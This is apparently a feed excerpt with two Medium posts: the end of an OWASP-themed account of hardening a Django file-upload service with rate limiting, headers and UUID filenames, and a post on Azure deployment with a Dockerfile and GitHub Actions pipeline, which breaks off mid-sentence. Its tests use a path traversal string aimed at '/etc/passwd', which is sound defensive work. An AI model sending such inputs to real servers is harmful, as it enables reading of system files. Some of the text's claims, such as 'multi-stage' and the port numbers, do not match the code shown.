MAX_FILE_SIZE_PDF = 20 * 1024 * 1024    # 20 MB<br>    <br>    # Security headers (OWASP recommendation)<br>    SECURITY_HEADERS = {<br>        &#39;X-Content-Type-Options&#39;: &#39;nosniff&#39;,<br>        &#39;X-Frame-Options&#39;: &#39;DENY&#39;,<br>        &#39;X-XSS-Protection&#39;: &#39;1; mode=block&#39;,<br>    }<br><br>class RateLimiter:<br>    @staticmethod<br>    def is_rate_limited(request, endpoint: str) -&gt; Tuple[bool, int]:<br>        client_id = RateLimiter.get_client_identifier(request)<br>        cache_key = f&quot;rate_limit_{endpoint}_{client_id}&quot;<br>        request_data = cache.get(cache_key)<br>        <br>        if request_data is None:<br>            # ✅ OWASP Prevention: Initialize rate limit tracking<br>            cache.set(cache_key, {&#39;count&#39;: 1, &#39;start_time&#39;: time.time()}, <br>                     UploadSecurityConfig.RATE_LIMIT_WINDOW)<br>            return False, UploadSecurityConfig.RATE_LIMIT_REQUESTS - 1<br>        <br>        current_count = request_data[&#39;count&#39;]<br>        <br>        # ✅ OWASP Prevention: Block excessive requests<br>        if current_count &gt;= UploadSecurityConfig.RATE_LIMIT_REQUESTS:<br>            logger.warning(f&quot;Rate limit exceeded for {client_id}&quot;)<br>            return True, 0<br>        <br>        # Update count and continue<br>        request_data[&#39;count&#39;] = current_count + 1<br>        cache.set(cache_key, request_data, UploadSecurityConfig.RATE_LIMIT_WINDOW)<br>        return False, remaining<br><br>def secure_file_upload(allowed_file_types: list = None):<br>    &quot;&quot;&quot;Decorator implementing OWASP security controls.&quot;&quot;&quot;<br>    def decorator(view_func):<br>        @wraps(view_func)<br>        @csrf_exempt  # API service - external auth<br>        def wrapper(request, *args, **kwargs):<br>            # ✅ OWASP Prevention #1: Rate limiting<br>            is_limited, remaining = RateLimiter.is_rate_limited(request, view_func.__name__)<br>            if is_limited:<br>                return JsonResponse({&#39;error&#39;: &#39;rate_limit_exceeded&#39;}, status=429)<br>            <br>            # ✅ OWASP Prevention #6: Security headers<br>            response = view_func(request, *args, **kwargs)<br>            for header, value in UploadSecurityConfig.SECURITY_HEADERS.items():<br>                response[header] = value<br>            <br>            return response<br>        return wrapper<br>    return decorator<br><br># Used in views:<br>@secure_multi_format_upload<br>def preview_rows(request):<br>    # All security controls automatically applied</pre><p>The middleware pattern ensures **<strong>every</strong>** upload endpoint gets these protections by default, we can’t accidentally forget to secure a new endpoint.</p><h3>💥 OWASP Attack Scenario: Configuration Exploitation</h3><p>OWASP describes misconfiguration attacks like Scenario #4:</p><p>“A cloud service provider (CSP) has default sharing permissions open to the Internet by other CSP users. This allows sensitive data stored within cloud storage to be accessed.”</p><p>In our context, the misconfiguration is more subtle but equally dangerous:</p><p>1. <strong>CSRF Disabled</strong>: Attacker tricks authenticated user into uploading malicious file</p><p>2. <strong>No Rate Limiting</strong>: Attacker floods endpoint with requests, causing denial of service</p><p>3. <strong>Stack Traces Exposed</strong>: Attacker learns internal structure and vulnerable component versions</p><p>The test proved the correctly configured rate limiter stops abuse by returning an HTTP 429 Too Many Requests.</p><p>Our test simulates the rate limiting aspect:</p><pre>def test_rate_limiting_blocks_excessive_requests(self):<br>    &quot;&quot;&quot;<br>    OWASP Attack Simulation: DoS through excessive requests<br>    Scenario: Attacker attempts to overwhelm the service<br>    Similar to OWASP&#39;s default configuration exploitation<br>    &quot;&quot;&quot;<br>    request = self.factory.post(&#39;/test&#39;)<br>    <br>    # Attempt to exceed configured limit (10 requests/minute)<br>    for i in range(UploadSecurityConfig.RATE_LIMIT_REQUESTS + 1):<br>        is_limited, remaining = RateLimiter.is_rate_limited(request, &#39;test_endpoint&#39;)<br>    <br>    # 11th request should be blocked<br>    is_limited, remaining = RateLimiter.is_rate_limited(request, &#39;test_endpoint&#39;)<br>    <br>    self.assertTrue(is_limited)  # Attack stopped<br>    self.assertEqual(remaining, 0)</pre><h4>✅ Results: The Barricade Holds</h4><pre>✅ PASS: Rate limiting blocks after 10 requests (HTTP 429)<br>✅ PASS: CSRF protection enforced (no @csrf_exempt)<br>✅ PASS: Security headers sent (X-Content-Type-Options, X-Frame-Options)<br>✅ PASS: Generic error messages (no stack traces exposed)<br>✅ PASS: File size validation active (oversized files rejected)</pre><p>The test proved our correctly configured security stack stops abuse and properly hardens the endpoint according to OWASP guidelines.</p><h3>Chapter 4: The Path of the Nomad: A04 Insecure Design 🔪</h3><p><strong>A04:2021 — Insecure Design</strong> is an architectural flaw where trusting the user’s filename enables <strong>Path Traversal</strong> (e.g., ../../../etc/passwd). This <strong>Medium Risk/P2 High</strong> threat could lead to file system compromise.</p><h4>🚨 Vulnerable Code: Using the User’s Map</h4><p>The system dangerously used the user-provided filename directly to construct the file path:</p><pre># Vulnerable code - uses filename directly<br>def save_uploaded_file(uploaded_file):<br>    filename = uploaded_file.name  # ❌ Trust user input!<br>    filepath = os.path.join(MEDIA_ROOT, filename)  # ❌ Path traversal possible<br>    # ...</pre><h3>🛡️ OWASP Prevention Strategy: Secure Design Culture</h3><p>OWASP emphasizes that secure design requires a cultural shift and architectural approach:</p><p>1. <strong>Establish secure development lifecycle</strong> with AppSec professionals involved from the start</p><p>2. <strong>Use secure design patterns </strong>and paved road components</p><p>3. <strong>Implement threat modeling</strong> for critical flows like authentication and file handling</p><p>4. <strong>Integrate security into user stories</strong> from the beginning</p><p>5. <strong>Write tests that validate resistance</strong> to the threat model</p><p>6. <strong>Segregate tiers robustly</strong> by design throughout all layers</p><p>7. <strong>Limit resource consumption</strong> by user or service</p><p>The key principle: “Secure design is neither an add-on nor a tool that you can add to software.”</p><h3>🛡️ Our Implementation: Secure-by-Design File Handling</h3><p>We rebuilt the architecture following OWASP’s secure design principles:</p><p>We rebuilt the entire file handling architecture around a secure design principle: **<strong>never trust user-provided data for security decisions</strong>**:</p><pre># excel_parser/services/secure_file_handler.py<br>class SecureFileHandler:<br>    &quot;&quot;&quot;<br>    OWASP A04:2021 - Insecure Design Prevention<br>    <br>    Secure-by-Design Principles:<br>    1. Never use user-provided filenames for storage<br>    2. Generate cryptographically random filenames (UUID)<br>    3. Sanitize user filenames only for display<br>    4. Validate file content, not just extension<br>    5. Store files outside webroot<br>    &quot;&quot;&quot;<br>    <br>    @classmethod<br>    def _generate_secure_filename(cls, original_filename: str, file_type: str) -&gt; str:<br>        &quot;&quot;&quot;OWASP Prevention #2: Use UUID instead of user-provided filename.&quot;&quot;&quot;<br>        # ✅ Generate cryptographically random UUID<br>        secure_name = str(uuid.uuid4())<br>        ext = cls._get_safe_extension(file_type)<br>        return f&quot;{secure_name}{ext}&quot;<br>    <br>    @classmethod<br>    def save_uploaded_file_securely(<br>        cls,<br>        uploaded_file: UploadedFile,<br>        file_type: str<br>    ) -&gt; Tuple[str, str]:<br>        &quot;&quot;&quot;Save file with secure UUID-based filename.&quot;&quot;&quot;<br>        # ✅ OWASP Prevention: Validate content (magic number check)<br>        cls._validate_file_content(uploaded_file, file_type)<br>        <br>        # ✅ OWASP Prevention: Generate secure filename (no user control)<br>        secure_filename = cls._generate_secure_filename(uploaded_file.name, file_type)<br>        storage_dir = cls._get_storage_directory(file_type)<br>        secure_path = os.path.join(storage_dir, secure_filename)<br>        <br>        # Write file securely<br>        with open(secure_path, &#39;wb&#39;) as f:<br>            for chunk in uploaded_file.chunks():<br>                f.write(chunk)<br>        <br>        return secure_path, sanitized_original</pre><p>Additionally, we implement defense-in-depth with filename sanitization:</p><pre>@classmethod<br>def sanitize_filename(cls, filename: str) -&gt; str:<br>    &quot;&quot;&quot;Defense-in-depth: Sanitize for display only (NOT used for storage).&quot;&quot;&quot;<br>    if not filename:<br>        return &quot;unnamed_file&quot;<br>    <br>    # ✅ OWASP Prevention: Remove path traversal components<br>    filename = filename.split(&#39;/&#39;)[-1].split(&#39;\\&#39;)[-1]<br>    <br>    # ✅ OWASP Prevention: Remove dangerous characters<br>    filename = re.sub(r&#39;[&lt;&gt;:&quot;|?*]&#39;, &#39;&#39;, filename)<br>    <br>    # Limit length<br>    if len(filename) &gt; 200:<br>        filename = filename[:200]<br>    <br>    return filename or &quot;unnamed_file&quot;</pre><p>The key architectural decision: **<strong>We don’t ask “How can we safely use user filenames?” We ask “Why use them at all?”</strong>** This eliminates the vulnerability class at the design level.</p><h4>💥 OWASP Attack Scenario: Design Flaw Exploitation</h4><p>OWASP’s design flaw scenarios focus on business logic and trust boundaries:</p><p>“A cinema chain allows group booking discounts and has a maximum of fifteen attendees before requiring a deposit. Attackers could threat model this flow and test if they could book six hundred seats and all cinemas at once in a few requests, causing a massive loss of income.”</p><p>In our context, the design flaw is simpler but follows the same pattern<strong>, trusting an untrusted source</strong> for a security-critical decision. The attack exploits the trust boundary violation:</p><pre>def test_path_traversal_parent_directory(self):<br>    malicious_filename = &quot;../../../etc/passwd&quot;<br>    <br>    # OLD DESIGN (vulnerable):<br>    # filepath = os.path.join(MEDIA_ROOT, malicious_filename)<br>    # Result: /var/www/media/../../../etc/passwd → /etc/passwd<br>    <br>    # NEW DESIGN (secure):<br>    # 1. User filename is NOT used for storage<br>    # 2. UUID is generated: &quot;a3f2c1b0-4e5f-6a7b-8c9d-0e1f2a3b4c5d.xlsx&quot;<br>    # 3. User filename only sanitized for display<br>    <br>    sanitized = InputSanitizer.sanitize_filename(malicious_filename)<br>    <br>    # Defense-in-depth check (even though we don&#39;t use it for storage)<br>    self.assertNotIn(&#39;..&#39;, sanitized)<br>    self.assertNotIn(&#39;/&#39;, sanitized)<br>    self.assertNotIn(&#39;\\&#39;, sanitized)<br>    self.assertEqual(sanitized, &#39;passwd&#39;)</pre><p>The attack demonstrates OWASP’s principle: the original design had a **<strong>trust boundary violation</strong>**. We trusted the user (untrusted boundary) to provide data (filename) used for security decisions (file storage path). The fix requires a design change, not just better input validation.</p><h4>✅ Results: Architecture Rebuilt</h4><pre>✅ PASS: Path traversal sanitized: ../../../etc/passwd → passwd<br>✅ PASS: Secure UUID filenames generated (no user control)<br>✅ PASS: File content validated (magic number check)<br>✅ PASS: Files stored outside webroot<br>✅ PASS: Original design flaw eliminated<br><br># Example output:<br>User uploads: &quot;../../../../etc/passwd&quot;<br>Storage path: &quot;/var/www/media/uploads/excel/a3f2c1b0-4e5f-6a7b-8c9d-0e1f2a3b4c5d.xlsx&quot;<br>Display name: &quot;passwd&quot; (sanitized for logs)</pre><p>The architecture change eliminates the entire vulnerability class. As OWASP states: “An insecure design cannot be fixed by a perfect implementation”, so we changed the design.</p><h3>Chapter 5</h3><p>We achieved a 100% test pass rate against our top critical threats, but this is only the beginning. Security is not a feature you finish; it’s the foundational, continuous battle in the digital wastes.</p><p>The threats we defeated are just a fraction of the danger. The other seven OWASP categories, like Vulnerable Components, Data Integrity Failures, and Logging Failures, are still active threats that demand our attention.</p><p>Our survival handbook outlines three permanent rules for code practice:</p><ol><li>Defense in Depth: Never rely on a single solution. Always build redundant barricades (e.g., CSRF tokens and Rate Limiting) so that if one layer fails, the next immediately holds the line.</li><li>Never Trust Input: Every single data point entering the system is hostile. Enforce a strict allow-list model, specifically rejecting known hostile patterns (like formula injection), rather than trying to guess what might be safe.</li><li>Secure by Design: Don’t just patch vulnerabilities; engineer them out of existence. Replace reliance on untrusted data (like user-provided filenames) with cryptographic randomization to make architectural exploits impossible.</li></ol><p>The attackers however, will evolve, but so must our code. <strong>Vigilance is the only constant</strong>. We must treat every new feature, every new dependency, and every change in the environment like a potential source of infection, ensuring security practices are <strong>baked in from the first line of code</strong>, not patched in after the breach. The fortress is built, but the watchtower must never be left unmanned.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=060febb45971" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Deploy and Conquer ☁️]]></title>
            <link>https://medium.com/@fadhlilbaqimuhammadghaza/dont-be-coy-just-deploy-a32e33ae9443?source=rss-4aafbe34b665------2</link>
            <guid isPermaLink="false">https://medium.com/p/a32e33ae9443</guid>
            <dc:creator><![CDATA[Ghaza Fadhlilbaqi]]></dc:creator>
            <pubDate>Tue, 28 Oct 2025 02:40:36 GMT</pubDate>
            <atom:updated>2025-11-20T01:39:57.932Z</atom:updated>
            <content:encoded><![CDATA[<h4>A tale of containers, clouds, and continuous deployments</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/640/0*_dmREyTTxS5HYYFX" /><figcaption>The docker demons haunting me in every step of my deployment journey</figcaption></figure><p>There comes a moment in every software project’s life when they should breakout free fromlocalhost, as it just isn’t enough anymore.<br>We’ve tested our app, added features, fixed bugs(lots of em…), and now, it’s time to <strong>ship it out to the world</strong>(wide web 🌐).</p><p>This week, I went full “DevOps mode”by learning how to <strong>package, deploy, and automate</strong> my app using <strong>AWS EC2 Instances</strong>, then <strong>Azure App Service</strong>, <strong>then back to Virtual Machines </strong>but using Azure this time…<br>Along the way, I also set up <strong>automated pipelines</strong>, <strong>versioned releases</strong>, and <strong>multi-stage Docker builds</strong> for optimization.</p><p>Let’s just say… it was equal parts <em>enlightening</em> and <em>existential</em>. 😅</p><h3><strong>Chapter 1: Cloudy with a Chance of Deployments ☁️</strong></h3><blockquote><em>“Different clouds, same dream, getting this damn app online.”</em></blockquote><p>Before touching a single server, I explored what each deployment platform I have available in my arsenal actually <em>is</em> and <em>how much control</em> it gives me.</p><h4>🟡 AWS EC2 (Using AWS Academy Learner Lab)</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*j2uh8497TpG7Ffy0eo5vZA.png" /><figcaption>The dashboard of our (not so) beloved AWS academy learner platform</figcaption></figure><p>The “bare metal” of the cloud world. I spawned in an EC2 instance, manually configured the memory and storage, the security groups, and exposed the right ports, as well as installed Docker manually in the instance itself.</p><p>Then I also had to configure it’s elastic IP to ensure that the instance’s IP does not change every now and again.<br>Everything, from networking to service restarts, was on me. It’s flexible, but I had to earn every bit of that flexibility.</p><p>With everything set up correctly, I thought “What could go wrong?” To answer that, a lot of things actually…</p><p>For one, as it was a learner lab’s EC2 instance, we can only access the deployment environment only if my machine was on, and even if my machine was on 24/7, the learner lab only sets a 4 hour timer for the lab to be on, which afterwards it turns off automatically. Another issue being budget, as I was limited to only around a $50, and the huge EC2 instance drained around… $1 not even under a day 😨…</p><p>So I had to think of an alternative, so naturally, we will move on to the next platform.</p><h4>🔵 Microsoft <strong>Azure</strong></h4><p>After a good while surfing the world wide web, I decided to land on Azure as my next destination, as it provides a free student plan with a $100 budget for 12 months, sounds like a steal, so time to get exploring!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ZdW6ke2YLW02RhSfhKzsXA.png" /><figcaption>The dashboard of our new chapter in cloud deployment</figcaption></figure><p>Unlike the AWS learner lab, Azure provided a bit more tools for us to play with in regards to deployment, one of them caught my eye, that is the <strong>Azure App Service.</strong></p><p>Unlike an EC2 instance (Virtual Machines), the Azure App Service basically acts as an already configured PaaS that allows me to just click a few buttons and have my app shipped out on the fly.</p><h4>🕸️ Azure App Service</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Z7nUhF5INXEEdB-8YaZMgw.png" /><figcaption>Dashboard for the Azure App Service</figcaption></figure><p>All I needed to do was select the app plan (how much storage &amp; memory I should allocate) to my application, and then it also gives me some options regarding a deployment, such as an automatically generated Dockerfile and CD yaml script.</p><p>Once again, this sounded like a dream come true, surely nothing could go wrong this time… right? Well turns out my application need to handle huge files uploads, and the plan I chose isn’t enough to support those files, and I was not able to upgrade to a bigger plan…</p><p>So again, we must set sail to new horizons, and find a different option within the Azure platform.</p><h4>🖥️ Azure Virtual Machine</h4><p>Since I want the freedom of a Virtual Machine instance, but a more flexible budget (instead of having a $50 credit), I decided to launch a deployment server VM in Azure instead of AWS, since it’s also always up(no need to repeatedly start the lab every 4 hours or so), It feels like the most balanced platform I can use for my group’s deployment environment</p><p>Moral of the story(TLDR): I used Azure’s VM services for my deployment 😸</p><h3>Chapter 2: <strong>Build It til You Make It 🧱</strong></h3><p>Before deploying anywhere, I needed a reliable and lightweight build process.<br>That’s where <strong>multi-stage Docker builds</strong> came in! By separating the build environment (with Python and dependencies) from the final runtime environment for my Django project.</p><pre># Use the official Python image as the base image<br>FROM python:3.12-slim<br><br># Set environment variables<br>ENV PYTHONDONTWRITEBYTECODE=1 \<br>    PYTHONUNBUFFERED=1 \<br>    PIP_NO_CACHE_DIR=1<br><br>WORKDIR /app<br><br>COPY requirements.txt /app/<br><br># System deps for mysqlclient/psycopg2<br>RUN apt-get update &amp;&amp; apt-get install -y --no-install-recommends \<br>    build-essential \<br>    gcc \<br>    pkg-config \<br>    libpq-dev \<br>    default-libmysqlclient-dev &amp;&amp; \<br>    pip install --upgrade pip &amp;&amp; \<br>    pip install -r requirements.txt &amp;&amp; \<br>    pip install gunicorn &amp;&amp; \<br>    apt-get remove -y gcc &amp;&amp; \<br>    apt-get autoremove -y &amp;&amp; \<br>    rm -rf /var/lib/apt/lists/*<br><br>COPY . /app/<br><br># Collect static files<br>RUN python manage.py collectstatic --noinput<br><br># Create temp directory for file uploads<br>RUN mkdir -p /tmp/media<br><br># Expose the port the app runs on<br>EXPOSE 8000<br><br># Run Gunicorn with increased timeout for file processing<br>CMD [&quot;sh&quot;, &quot;-c&quot;, &quot;gunicorn --bind 0.0.0.0:${PORT:-8000} --timeout 600 --workers 2 AutomaticRAB.wsgi:application&quot;]</pre><p>Why multi-stage?<br> Because it keeps the final image small, fast, and secure — no leftover build tools or caches.<br> I also used .env files for each environment (.env.dev, .env.staging, .env.prod) so that settings could change without touching the code.</p><h3>Chapter 3: Ports of Call ⚓</h3><p>Now I only have 1 VM right now as 1 is already pretty pricey (since my app needed quite a <strong>lot </strong>of memory 🫠), but any self respecting devops knows that we need a few environments when deploying, such as the</p><ul><li>Development Env</li><li>Staging Env</li><li>Production Env</li></ul><p>So how should I go about this 🤔, let us refer back to everyone’s favorite course, Computer Networks, and take advantage of <strong>ports!</strong></p><p>So I decided to mapp each environment to its own port:</p><iframe src="https://cdn.embedly.com/widgets/media.html?src=https%3A%2F%2Fdatawrapper.dwcdn.net%2F6INPX%2F1%2F&amp;display_name=Datawrapper&amp;url=https%3A%2F%2Fdatawrapper.dwcdn.net%2F6INPX%2F1%2F&amp;image=https%3A%2F%2Fdatawrapper.dwcdn.net%2F6INPX%2Fplain-s.png%3Fv%3D1&amp;type=text%2Fhtml&amp;schema=dwcdn" width="890" height="194" frameborder="0" scrolling="no"><a href="https://medium.com/media/c9416c41dff54401e9d502943e827bf3/href">https://medium.com/media/c9416c41dff54401e9d502943e827bf3/href</a></iframe><p>Each container runs independently, so I can test features on staging without touching production. It’s like having three mini universes on one machine 🪐.</p><h3><strong>Chapter 4: Push, Pray, Automate 🙏🤖</strong></h3><p>After one too many manual redeploys, I built a <strong>Continuous Deployment (CD)</strong> pipeline with <strong>GitHub Actions</strong>.<br>Every branch triggers a separate deployment, all to the same VM, but different ports and env files.</p><p>Here’s the heart of it all:</p><pre>name: CI - CD<br><br>on:<br>  push:<br>  pull_request:<br><br>jobs:<br>  test:<br>    runs-on: ubuntu-latest<br>    permissions:<br>      contents: write<br>    strategy:<br>      fail-fast: false<br>      matrix:<br>        python-version: [&quot;3.12&quot;]<br>    env:<br>      DJANGO_SETTINGS_MODULE: AutomaticRAB.settings<br>      SECRET_KEY: ${{ secrets.SECRET_KEY || &#39;insecure-test-key&#39; }}<br>      MYSQL_NAME: ${{ secrets.MYSQL_NAME }}<br>      MYSQL_USER: ${{ secrets.MYSQL_USER }}<br>      MYSQL_PASSWORD: ${{ secrets.MYSQL_PASSWORD }}<br>      MYSQL_HOST: ${{ secrets.MYSQL_HOST }}<br>      MYSQL_PORT: ${{ secrets.MYSQL_PORT }}<br><br>    steps:<br>      - name: Checkout repository<br>        uses: actions/checkout@v4<br><br>      - name: Set up Python ${{ matrix.python-version }}<br>        uses: actions/setup-python@v5<br>        with:<br>          python-version: ${{ matrix.python-version }}<br>          cache: pip<br><br>      - name: Install MySQL dev libs<br>        run: |<br>          sudo apt-get update<br>          sudo apt-get install -y libmysqlclient-dev pkg-config<br><br>      - name: Install dependencies<br>        run: |<br>          python -m pip install --upgrade pip<br>          if [ -f requirements.txt ]; then pip install -r requirements.txt; fi<br>          pip install coverage<br><br>      - name: Run tests with coverage<br>        run: |<br>          # Use --noinput to prevent Django from prompting to delete existing DB in non-interactive CI<br>          # Don&#39;t use --keepdb in CI as it can cause issues with stale test databases<br>          coverage run --source=. manage.py test --verbosity 2 --noinput<br>          coverage xml<br>          coverage json<br>          coverage report -m<br>          # Debug: Show what coverage actually found<br>          echo &quot;=== Coverage Summary ===&quot;<br>          python -c &quot;import json; data=json.load(open(&#39;coverage.json&#39;)); print(f\&quot;Total coverage: {data[&#39;totals&#39;][&#39;percent_covered&#39;]:.1f}%\&quot;)&quot;<br><br>      - name: Generate coverage badge<br>        run: |<br>          # Install genbadge which works better with coverage.py<br>          pip install genbadge[coverage]<br>          genbadge coverage -i coverage.xml -o coverage.svg<br>          ls -la coverage.svg  # Verify file was created<br><br>      - name: Update README with branch-specific badge<br>        if: github.event_name == &#39;push&#39;<br>        run: |<br>          sed -i &quot;s|\$BRANCH|${{ github.ref_name }}|g&quot; README.md<br>          cat README.md | grep coverage.svg  # Verify replacement worked<br><br>      - name: Upload coverage badge and README<br>        if: github.event_name == &#39;push&#39;<br>        uses: stefanzweifel/git-auto-commit-action@v5<br>        with:<br>          commit_message: &quot;Update coverage badge and README for ${{ github.ref_name }}&quot;<br>          file_pattern: &quot;coverage.svg README.md&quot;<br>          branch: ${{ github.ref_name }}<br>          skip_fetch: true<br>          skip_checkout: true<br><br>  build:<br>    runs-on: ubuntu-latest<br>    needs: test<br>    if: github.event_name == &#39;push&#39; &amp;&amp; (github.ref == &#39;refs/heads/main&#39; || github.ref == &#39;refs/heads/staging&#39; || github.ref == &#39;refs/heads/development&#39;)<br>    permissions:<br>      contents: read<br>    env:<br>      DOCKER_IMAGE_NAME: ghazafadhlilbaqi/autorab-ppl<br><br>    steps:<br>      - uses: actions/checkout@v4<br><br>      - name: Set environment based on branch<br>        id: set-env<br>        run: |<br>          if [[ &quot;${{ github.ref }}&quot; == &quot;refs/heads/main&quot; ]]; then<br>            echo &quot;ENVIRONMENT=production&quot; &gt;&gt; $GITHUB_OUTPUT<br>            echo &quot;TAG=production&quot; &gt;&gt; $GITHUB_OUTPUT<br>            echo &quot;PORT=8000&quot; &gt;&gt; $GITHUB_OUTPUT<br>          elif [[ &quot;${{ github.ref }}&quot; == &quot;refs/heads/staging&quot; ]]; then<br>            echo &quot;ENVIRONMENT=staging&quot; &gt;&gt; $GITHUB_OUTPUT<br>            echo &quot;TAG=staging&quot; &gt;&gt; $GITHUB_OUTPUT<br>            echo &quot;PORT=8001&quot; &gt;&gt; $GITHUB_OUTPUT<br>          elif [[ &quot;${{ github.ref }}&quot; == &quot;refs/heads/development&quot; ]]; then<br>            echo &quot;ENVIRONMENT=development&quot; &gt;&gt; $GITHUB_OUTPUT<br>            echo &quot;TAG=development&quot; &gt;&gt; $GITHUB_OUTPUT<br>            echo &quot;PORT=8002&quot; &gt;&gt; $GITHUB_OUTPUT<br>          fi<br><br>      - name: Set up Docker Buildx<br>        uses: docker/setup-buildx-action@v3<br><br>      - name: Log in to Docker Hub<br>        uses: docker/login-action@v3<br>        with:<br>          username: ${{ secrets.DOCKER_HUB_USERNAME }}<br>          password: ${{ secrets.DOCKER_HUB_ACCESS_TOKEN }}<br><br>      - name: Build and push Docker image<br>        uses: docker/build-push-action@v5<br>        with:<br>          context: .<br>          push: true<br>          cache-from: type=registry,ref=${{ env.DOCKER_IMAGE_NAME }}:${{ steps.set-env.outputs.TAG }}<br>          cache-to: type=inline<br>          build-args: |<br>            CACHE_BUST=${{ github.sha }}<br>            DJANGO_BUILD_CONFIG=temporary-collectstatic-config<br>          tags: |<br>            ${{ env.DOCKER_IMAGE_NAME }}:${{ steps.set-env.outputs.TAG }}<br>            ${{ env.DOCKER_IMAGE_NAME }}:${{ steps.set-env.outputs.TAG }}-${{ github.sha }}<br><br>    outputs:<br>      environment: ${{ steps.set-env.outputs.ENVIRONMENT }}<br>      tag: ${{ steps.set-env.outputs.TAG }}<br>      port: ${{ steps.set-env.outputs.PORT }}<br><br>  release:<br>    runs-on: ubuntu-latest<br>    needs: build<br>    if: github.event_name == &#39;push&#39; &amp;&amp; (github.ref == &#39;refs/heads/main&#39; || github.ref == &#39;refs/heads/staging&#39; || github.ref == &#39;refs/heads/development&#39;)<br>    permissions:<br>      contents: write<br>    <br>    steps:<br>      - name: Checkout repository<br>        uses: actions/checkout@v4<br>        with:<br>          fetch-depth: 0<br><br>      - name: Generate version tag<br>        id: version<br>        run: |<br>          if [[ &quot;${{ github.ref }}&quot; == &quot;refs/heads/main&quot; ]]; then<br>            VERSION=&quot;v1.0.0&quot;<br>            PRERELEASE=false<br>          elif [[ &quot;${{ github.ref }}&quot; == &quot;refs/heads/staging&quot; ]]; then<br>            # Staging: release candidate<br>            VERSION=&quot;v1.0.0-rc.${{ github.run_number }}&quot;<br>            PRERELEASE=true<br>          elif [[ &quot;${{ github.ref }}&quot; == &quot;refs/heads/development&quot; ]]; then<br>            # Development: date-based snapshot<br>            VERSION=&quot;dev-$(date +%Y.%m.%d)-${{ github.run_number }}&quot;<br>            PRERELEASE=true<br>          fi<br>          echo &quot;VERSION=$VERSION&quot; &gt;&gt; $GITHUB_OUTPUT<br>          echo &quot;PRERELEASE=$PRERELEASE&quot; &gt;&gt; $GITHUB_OUTPUT<br><br>      - name: Create GitHub Release<br>        uses: softprops/action-gh-release@v1<br>        with:<br>          tag_name: ${{ steps.version.outputs.VERSION }}<br>          name: &quot;Release ${{ steps.version.outputs.VERSION }}&quot;<br>          body: |<br>            ## Changes in this release<br>            - Deployed from branch: ${{ github.ref_name }}<br>            - Commit: ${{ github.sha }}<br>            - Docker Image: ghazafadhlilbaqi/autorab-ppl:${{ needs.build.outputs.tag }}<br>            <br>            ## Environment<br>            - Environment: ${{ needs.build.outputs.environment }}<br>            - Port: ${{ needs.build.outputs.port }}<br>          prerelease: ${{ steps.version.outputs.PRERELEASE }}<br>          draft: false<br><br>  deploy:<br>    runs-on: ubuntu-latest<br>    needs: [build, release]<br>    if: github.event_name == &#39;push&#39; &amp;&amp; (github.ref == &#39;refs/heads/main&#39; || github.ref == &#39;refs/heads/staging&#39; || github.ref == &#39;refs/heads/development&#39;)<br>    permissions:<br>      contents: read<br>    env:<br>      DOCKER_IMAGE_NAME: ghazafadhlilbaqi/autorab-ppl<br><br>    steps:<br>      - name: Deploy to Azure VM<br>        uses: appleboy/ssh-action@v1.0.0<br>        env:<br>          ENVIRONMENT: ${{ needs.build.outputs.environment }}<br>          TAG: ${{ needs.build.outputs.tag }}<br>          PORT: ${{ needs.build.outputs.port }}<br>          DOCKER_IMAGE: ${{ env.DOCKER_IMAGE_NAME }}:${{ needs.build.outputs.tag }}<br>        with:<br>          host: ${{ secrets.SSH_HOST }}<br>          username: ${{ secrets.SSH_USERNAME }}<br>          key: ${{ secrets.SSH_KEY }}<br>          port: 22<br>          envs: ENVIRONMENT,TAG,PORT,DOCKER_IMAGE<br>          script: |<br>            echo &quot;🚀 Deploying ${ENVIRONMENT} environment&quot;<br><br>            # Navigate to environment directory<br>            cd /home/${{ secrets.SSH_USERNAME }}/autorab-ppl-${ENVIRONMENT}<br><br>            # Pull latest image<br>            docker pull ${DOCKER_IMAGE}<br><br>            # Stop and remove existing container<br>            docker stop autorab-ppl-${ENVIRONMENT} 2&gt;/dev/null || true<br>            docker rm autorab-ppl-${ENVIRONMENT} 2&gt;/dev/null || true<br><br>            # Run new container with memory limits<br>            docker run -d \<br>              --name autorab-ppl-${ENVIRONMENT} \<br>              --restart unless-stopped \<br>              -p ${PORT}:8000 \<br>              --env-file .env \<br>              -v /home/${{ secrets.SSH_USERNAME }}/autorab-ppl-${ENVIRONMENT}/media:/app/media \<br>              -v /home/${{ secrets.SSH_USERNAME }}/autorab-ppl-${ENVIRONMENT}/tmp:/app/tmp \<br>              --memory=2g \<br>              --memory-swap=2g \<br>              ${DOCKER_IMAGE}<br><br>            # Clean up old images (keep last 3)<br>            docker images ghazafadhlilbaqi/autorab-ppl:${TAG}-* --format &quot;{{.ID}}&quot; | tail -n +4 | xargs -r docker rmi -f 2&gt;/dev/null || true<br><br>            # Reload or restart Caddy reverse proxy<br>            echo &quot;🔄 Reloading Caddy configuration...&quot;<br>            if command -v caddy &gt;/dev/null 2&gt;&amp;1; then<br>              if pgrep caddy &gt;/dev/null 2&gt;&amp;1; then<br>                sudo caddy reload --config /etc/caddy/Caddyfile || sudo systemctl reload caddy || true<br>              else<br>                echo &quot;Caddy not running, starting it...&quot;<br>                sudo systemctl start caddy || sudo caddy start<br>              fi<br>            else<br>              echo &quot;⚠️ Caddy not found — skipping reverse proxy reload.&quot;<br>            fi<br><br>            echo &quot;✅ Deployment of ${ENVIRONMENT} environment completed successfully!&quot;</pre><h4>How it works:</h4><ol><li>Build job → builds &amp; pushes Docker image to Docker Hub</li><li>Deploy job → SSHs into your Azure VM</li><li>Based on the branch (dev, staging, or main), it:</li></ol><ul><li>Chooses the right .env file (.env.dev, .env.staging, .env.prod)</li><li>Chooses a port (8001, 8002, 8003)</li><li>Stops the old container</li><li>Starts a new container with the latest image and correct environment</li></ul><h3>Chapter 5: Version Impossible 🤵🏻</h3><p>Versioning is how we keep our deployments from turning into a guessing game. Instead of “that one commit from last night” or “the push that broke everything,” every release gets a clear label we can trace, roll back to, or build on top of. It keeps our history clean and gives structure to how the project evolves.</p><p>We need versioning because deployments happen often, mistakes happen even more often, and without proper tags, it becomes impossible to know which build ended up in which environment. With versioning, every stage (dev, staging, production) gets its own identity.</p><p>In this project, 